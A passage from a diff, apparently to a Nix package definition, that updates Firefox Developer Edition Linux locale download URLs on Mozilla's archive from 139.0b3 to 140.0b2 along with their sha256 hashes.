+      sha256 = "800b0a1ca94fdb9bf745c163053816152a62bfc374682fcb46920c281de24c7b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ga-IE/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ga-IE/firefox-140.0b2.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "fcc39ffaccfddff75c5b9dff184a7f67df03c24598910dd4d89380e29fc9fbdd";
+      sha256 = "60d3d9b322ed276db8495119171dbc822dac0720fa67d6e0e2417d5f7d903303";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/gd/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/gd/firefox-140.0b2.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "3bfc75d90fd3c4cc7a271350e7b4474ac5dab71f742aee22bd994c775906fab9";
+      sha256 = "fdc316f98f0b7c6c58e11a85df0596763276f506b224a79c17314bbcedd76b18";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/gl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/gl/firefox-140.0b2.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "9a1008adc5c74857777bf8379bfcfd5592c987c36b9495534ae6c5cbd1be740d";
+      sha256 = "3f541084a75bfd470f9684ff0e9c64566ae1ae70ec6cab992f641d1ea711f56f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/gn/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/gn/firefox-140.0b2.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "46aa366e2df1df9365ff81214b637ab563689d53714f78c4950bca7e78334678";
+      sha256 = "403181843d5b8b0a511fb1c8526ac04938750ea19ce5bea725c6f6e67aab4cd9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/gu-IN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/gu-IN/firefox-140.0b2.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "c6a34a993efa290921958cc79bf4a59a9fe66548a7684710a8eaf07f1e62d9ec";
+      sha256 = "a0a75e18c30ba231bbb8696d47f203f35800bfa945b010e4b67102e9ea995a57";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/he/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/he/firefox-140.0b2.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "86462bfc1e78034b69e106d1c3a728ccdd1f18ded37563fd9d7ee37d2b98fedb";
+      sha256 = "da0a1845ead82dbec393b3951ddfb050ea7b1eddf07d1dd52c6ea3941629373c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/hi-IN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hi-IN/firefox-140.0b2.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "36235be9dc59e2c093a43ad0d7ec6ae8341f8afa9fc939c6d29590acbd384e72";
+      sha256 = "9cfca47a6e5c5ce56679575657cc52da56a04cbdfeba9fdde7eed2f7dca21e01";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/hr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hr/firefox-140.0b2.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "20eafa0b16a86da30b39dcda17e232d69b0df3e02f1301d7c52e192768ed52f6";
+      sha256 = "e2412f9401f913fb3f78c68c242ed2bc7727e4798145f6d78e7ea7bb1e2330b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/hsb/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hsb/firefox-140.0b2.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "e99331dc0ecd3f9be2dfa63dfabb71c2b3d8d84b62fbdbe67faaa6e106cfe2b6";
+      sha256 = "eef6641537eb1902fb5c80f85c028012151a864a011d87dfabdfff4860adcdea";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/hu/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hu/firefox-140.0b2.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "1d14b5d69e230ef6ec21f2376b07230b64981e66f79c968c47ff109b34fe421a";
+      sha256 = "338ce874b6b6e7c18c805488eddbaae60cc0070dede2768e1fe8bd807efa858c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/hy-AM/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hy-AM/firefox-140.0b2.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "cf226323063c8d2786031a888b9001b18f282708e858247f9180a1bea3451282";
+      sha256 = "fce3954dab579911bc3f3f2daa4139b6567ec48ba209119fa7a890835abb25b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ia/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ia/firefox-140.0b2.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "b4d61eab8372f1cc20f28c1a3e8c1f72b21d584c0dd45266a715ac116e4e0c04";
+      sha256 = "cd252dfb69f3c202f6a10a1f94a3958474b281c5648c86fe1fd7058f1cc0daf4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/id/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/id/firefox-140.0b2.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "7086deb11a567fb9e15a2b301fe4234aff8ba5125cd6a9371700f10e6e89a06f";
+      sha256 = "c4110ddcbb1ffe4ef89423626887c8f2f093c26e449f109eeec04e23c8f86f82";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/is/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/is/firefox-140.0b2.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "f37387831ad3722a61a9bdf082e15cdcbdf6f9757be183bf2f4ff44b7e44d1e2";
+      sha256 = "27093bd2b6373dc87174473b087afa19fb9073978819157adca9afac9c1b01a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/it/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/it/firefox-140.0b2.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "9957340442c44bbc4ce06897545bb977a290263377ee3eae5b64616e561b1a21";
+      sha256 = "d7cd7f8f77550be23ac2f834ec892711bdfd40301eb60eb8041b6373881a8063";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ja/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ja/firefox-140.0b2.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "8eebb7e6d6351a8269b83fd8095b86bf8b2f4177565cd2fdd323717cef6971ef";
+      sha256 = "547d409c2fae32d519b85a0ecaa4fa798035de83a99a24b8679841450816e918";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ka/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ka/firefox-140.0b2.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "fafdbba964ad85b38565589118323d1551ac5021e041a00e29b8a629229e2085";
+      sha256 = "7c8283de2bd1b175da442f54374737d1c483714ff5a65614393a831d87da5587";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/kab/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/kab/firefox-140.0b2.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "ef2f0225bab971c7b6b6237cf2795e9281730b459812209f2d11656ad39e698d";
+      sha256 = "f79764adead47510e6af35e084c4bc23e550a07d700e9bf315825eaab019da2e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/kk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/kk/firefox-140.0b2.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "cdfebcd9afe5c55c6ff84543580e08108f3e362751f09b99cb703c20dc1de3fe";
+      sha256 = "efafd746dbcc752c401d19475513a567cbd334f6ea3f9d64470bb5e1f67bf443";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/km/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/km/firefox-140.0b2.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "ea997189f11e283f1d37e7e8a148f45ae0f7557fefc23501d2cf534a4f4d423f";
+      sha256 = "5f06885bc54c63e176f521e39030a5cc6efa850a49b1329a06332881143d9d56";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/kn/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/kn/firefox-140.0b2.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "005b89059b12d1369c338f9206e899c76c0d5a97ad94f28564778fc092694814";
+      sha256 = "2af7d765a6093ad174cfb34b89782d6c0ce17555d6b12650ac9e17f4fd383d87";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ko/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ko/firefox-140.0b2.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "56282aec275e94b3a556e3a9b95e107e68cf366f6d2a9dc8ce7fbcea9bc23ddd";
+      sha256 = "7ebf5fda02c87f0eeae2036ba3ef26f166cddc131ee165ae4e18c50e69ed676f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/lij/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/lij/firefox-140.0b2.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "8ff69cc72d47d3e212280b8ae004abbb9a34b6e052cfb81f6fed4b1c0d85f8cd";
+      sha256 = "c864a48999305e753d72ece78900eb7a97a3dad8eedfc8a72374c58f1d5227ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/lt/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/lt/firefox-140.0b2.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "353a5ff5baa875628c32f6a0b7cbe5234209616684641032493394c986811cdc";
+      sha256 = "04d711be33f1fae9366442584a7f2bbffd74fc3b3854728db5dcce37e50f31c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/lv/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/lv/firefox-140.0b2.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "7eb1a0e3e0441da2df5082693588135b8e7069a29c82c1331d3defdf3e68b837";
+      sha256 = "1568ed415833621077555b9c9ab1341882ec1f8f1ba17c596d51bbf40bace3bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/mk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/mk/firefox-140.0b2.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "d7df7d215f440025117d472c7962f10b3db26536d424b633860bd0a2b8634e13";
+      sha256 = "f7fab263b90e197038ced58d845c8ff1220d4b7b10dc2afa3265ad0027856353";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/mr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/mr/firefox-140.0b2.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "9d6b1174365423cac77f4066e174ac0e24808cb8147cb0fc4a04f526883f3038";
+      sha256 = "6e7b7b1d9977bc6d4462e08ed6e2a49ce22dcc8ae408dcc832f63d04b878e5e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ms/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ms/firefox-140.0b2.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "1e3eb5e62665157538768e85c30728e1b0916e9637a4d7d5f3fb390c9bba31c1";
+      sha256 = "17306a80a5bbbaa00ca9c1bb3717f25c49ed94c18c58c751c01292e8a92e8a03";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/my/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/my/firefox-140.0b2.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "76fed1cabb2e1ec137e939d6b0318c32e23e5fa9d5602c08f6a9e56f0a469734";
+      sha256 = "eff89fa784ad8b0f039fa182ed67159aca185093402ddbf33752ef327bb4dd43";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/nb-NO/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/nb-NO/firefox-140.0b2.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "afb07ebb11a8e3247b8689a7809bb33a83cbe88ded223e5967d4251541f3d55b";
+      sha256 = "cddb858d97fd0206ad5b138d41d29acff16199b35cd6fcbe1c70d3ca126da3e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ne-NP/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ne-NP/firefox-140.0b2.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "a877b86d57e978bb020d9a4447a96ae85f0d8c9bad117373f81561e8379ac051";
+      sha256 = "291570b761874ce5146d1282972abde6da445c7cf63be89f3d4a2abb5ae52369";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/nl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/nl/firefox-140.0b2.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "5aead7a62bbfa6f765be274d64d6d8a6402b2dd6ee68a571600e64433a871854";
+      sha256 = "00139cb8cc6c4c5f6f478c476ffc00450d57ba239288462bd296b72aee205562";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/nn-NO/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/nn-NO/firefox-140.0b2.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "d35f50beb12afd6427c615f4faba025e2679289b7eed8772b9c2521c0f096130";
+      sha256 = "1c3f80cd5e39d450564a7266a58104e117f892243a5166ba6a5c79a12371cb66";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/oc/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/oc/firefox-140.0b2.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "a309df62f5d50210dab2d410ddf72cf8ce83124e49250d010a3098d45a519403";
+      sha256 = "6fafc879c80e60d49c32b7752dce41906213132e3a19e3eaef5edeccb2d6b389";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/pa-IN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/pa-IN/firefox-140.0b2.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "76fa9af171ca8ef48f2d40dd357dff2f4f434ec5972934d8d5660b975d9ff14e";
+      sha256 = "c7bf8f30d961adcd6b560d855357a0503bfb5ffa0295ced4f92f6e7b6f0c63b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/pl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/pl/firefox-140.0b2.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "441c0d7aa570ab16c13da29e1eef27bd58277b0546481dd455af687eed1c3546";
+      sha256 = "43345fd177e16fda3bead11b3e6c094ce947b4913d401c2d849b13607d8f1474";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/pt-BR/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/pt-BR/firefox-140.0b2.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "401cbd05af87d88f8351a6780a200f32d3e5521ddf8dea09f4caceb565eff554";
+      sha256 = "8d20b449e1f5dec93f7526bddcb01682478df46b7d6b647235f94d86ff47327d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/pt-PT/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/pt-PT/firefox-140.0b2.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "1a64160ff804281709b279c0671be0a378020c3e9cbbafc21c537212af67566d";
+      sha256 = "0f9febcfb684ea28734508fa27dcbb89282174c8ab04fca0d99adb2596b1bb08";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/rm/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/rm/firefox-140.0b2.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "d05161f9d5a54db76b46be34c13bd628645f57175e237d691b4607f8bb1ad13c";
+      sha256 = "505a664aa0b5eb7fb919437655f807f87224ca346bdde982eaa6bc755e14bae1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ro/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ro/firefox-140.0b2.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "01813e83959f3c51d841d5d5a134b903fdd6908c77f932219f7f2976be33d151";
+      sha256 = "fe1317999e0d07e634f4da7813e25d553844339ef484d055115be201d351c94d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ru/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ru/firefox-140.0b2.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "60562e6b5bad99bd61b31790993b1af13d66b71888b75680ea2ff2a0a429a682";
+      sha256 = "45808d9eaff267c7aa5263291352f459e30988e00a3ec867ac0e4eb9e3fa5828";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/sat/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sat/firefox-140.0b2.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "363eedd05b26529651905995a75d4fa7cc4a4cb0eabd71223011df8819b2c9e2";
+      sha256 = "e2ddcf9086a5aab8039b2ee40264ea5349bf27f424c8cebfd8d3f8be64b4812c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/sc/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sc/firefox-140.0b2.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "d4893587265913d0cdab363809038afd61a0c96f8add8605f8f709d7cf6df1c2";
+      sha256 = "6c10bf086c38c7f030cd1ac37ddeee3e7900262367a26d873f1130f1b1a3fa1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/sco/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sco/firefox-140.0b2.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "9c56abbb7208a26d8fbf1ebd3dccf42f23da60c73df628eaa44b9293e128f5d7";
+      sha256 = "fc5a205155469cdd157423b526c5ddbb8ef6619518543d0a13138e4548902c98";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/si/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/si/firefox-140.0b2.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "f9d59c8e43c249293c844c8e46fe001aaea050fc32a9e06dac0544319b248872";
+      sha256 = "f0165747a086b031eaed9fe6d56a6a664d48cc2cc1fcb4acf4cb2980680bbb18";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/sk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sk/firefox-140.0b2.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "d7e396c453b86e7181a0af09f5a608b7b3120d0b2df93fbce472c4935ee1cb25";
+      sha256 = "3139af3d80de44cabe66907b1ff1a0c9abd6d4dcce7cb8f6a8a4c64cc96d0d6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/skr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/skr/firefox-140.0b2.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "4b120fda51484bcc9e7251ffa267a42dea1328148476252dff33c22aa10da3c2";
+      sha256 = "4bfd49af3b1a4af17b4830ddad90e3d4742baf9ad3b296ad82c186e46e002c43";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/sl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sl/firefox-140.0b2.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "c145d10b2a5ed42b1e0ec7aac49caf51468f200f361b0d3b576430f14825e0ea";
+      sha256 = "e58e08c08ce875647350c17919a247d1d959e9aa7cf090b9e1f631e3904e1c49";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/son/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/son/firefox-140.0b2.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "bb0a17d3089ea0fd8809fffc43258b2ea2d98e8a3ce96385ea80fd859f82ba2e";
+      sha256 = "df8df3a9d363721f5d7284c95e690938a9669bad7d1cbc659318e71807bfef61";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/sq/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sq/firefox-140.0b2.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "a013d51f7dfd0ac9da4cb6159034027ef7bc3360de3421211f5ff453912d9065";
+      sha256 = "78c45ef74932ad3264ceffa6ca2a3d5863642b8febd784016b5dbe4ad515ce3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/sr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sr/firefox-140.0b2.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "5388d19db672524f2a4d5975070a4e5fe09d9bddba8b9a3a54c2cb3052b3c28f";
+      sha256 = "9a3b7e25cd80c19c9ee0ebf2b9cd7fb956969b1a699348859193bb3d138a16f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/sv-SE/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sv-SE/firefox-140.0b2.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "49600c47143f89d34657577d1175db5c415d4a4a6766e1c410db58337371004b";
+      sha256 = "864703a7933ca315ef1dcaf1e978b9fa61035a160cc3017bb6df53d50e42cfe9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/szl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/szl/firefox-140.0b2.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "25a6cce7c972c74bb8f8f881200417765ae7deab09405a947a4010002cb5fa82";
+      sha256 = "e63cd0f41501fccf3d6da7779e6926971122b9a40509cb57719ca987417d6231";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ta/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ta/firefox-140.0b2.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "ca4eb3d2ffcbfdf0e70a42bc358854b99fb9d8b297959530b25db69fff8da6b1";
+      sha256 = "8d45af2c0e6cf88a02c25b7c5fb31dc844bb90ddc8aeec774ad8c700ec12919c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/te/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/te/firefox-140.0b2.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "a642f8335f263b9fc58ec32128ac3467c1dd2879ab72b90e74411afa723685eb";
+      sha256 = "0d0868ec91ad13430488eba13840a0fdb238a355a0b74ede0bd536c6cdc2d013";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/tg/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/tg/firefox-140.0b2.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "08636c243613e677caf9726e73e640165f90d0fb3b7f5d7a85535a9d20af06e2";
+      sha256 = "2112d847a6377c3f4b6fddc2064891f17348a0639a6341833cc6a8681aca2496";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/th/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/th/firefox-140.0b2.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "4586b68f7a73cbaa86eab8a2a67b904a3300ae485b85ff878f442e58f2c25a86";
+      sha256 = "a49f6e380f2ee83e08b9bce632ac9adc8863eff92f043886e6dff361af0d9fd6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/tl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/tl/firefox-140.0b2.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "29d943a1e465b089e4b4216bff1343a3b267bc2d0e6757429dfdefe1123c87be";
+      sha256 = "a05dc7b3b86eb5c6c8e8bbd405c356ce6716ff7f57048c502a16dba1dc616778";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/tr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/tr/firefox-140.0b2.tar.xz";
       locale = "tr";
